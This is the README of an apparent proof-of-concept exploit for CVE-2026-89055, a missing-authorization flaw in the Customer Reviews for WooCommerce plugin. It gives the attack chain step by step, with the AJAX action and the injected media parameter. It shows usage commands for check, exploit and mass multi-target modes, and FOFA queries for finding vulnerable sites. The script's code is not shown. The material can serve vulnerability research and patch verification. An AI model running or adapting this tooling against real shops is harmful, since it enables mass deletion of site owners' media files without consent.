CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) Authorization Bypass

Python 3 PoC for CVE-2026-89055 in Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).

Description (PoCbit / GitHub)

CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 is vulnerable to missing authorization on the public local review form AJAX handler (cr_local_forms_submit). Anyone with a customer review link (/cusrev/{13-hex formId}/ from post-order email) can obtain a valid crSubmitNonce and submit reviews whose items[].media array may contain arbitrary Media Library attachment IDs (product images, logos, PDFs, etc.). Those IDs are stored in review comment meta; when the review is permanently deleted (trash purge / spam cleanup), delete_review_media_attachments() calls wp_delete_attachment() on each linked ID without ownership checks. CVSS 3.1 9.1 Critical (C:N/I:H/A:H). Fixed in > 5.120.0.

PoCbit

Community catalog: https://pocbit.org/pocs/

Attack chain

1. Open {site}/cusrev/{formId}/ → read crSubmitNonce + product data-itemid values.
2. POST to admin-ajax.php: action=cr_local_forms_submit with items[n][media][]=<victim_attachment_id>.
3. Plugin creates/updates WooCommerce review comment meta (ivole_reviews_locl_img / video).
4. When the review comment is permanently removed, hooked delete_review_media_attachments deletes every linked attachment file.

This PoC performs steps 1–2 on authorized targets. Step 4 is a site/admin lifecycle event (document in output as chain_note).

Requirements

pip install -r requirements.txt

Python 3.8+.

Usage

# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/

# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
  --form-id abc123def4567 --attachment-id 123 \
  --verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg

# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet

Output

FOFA

body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"

Legal

Authorized testing only.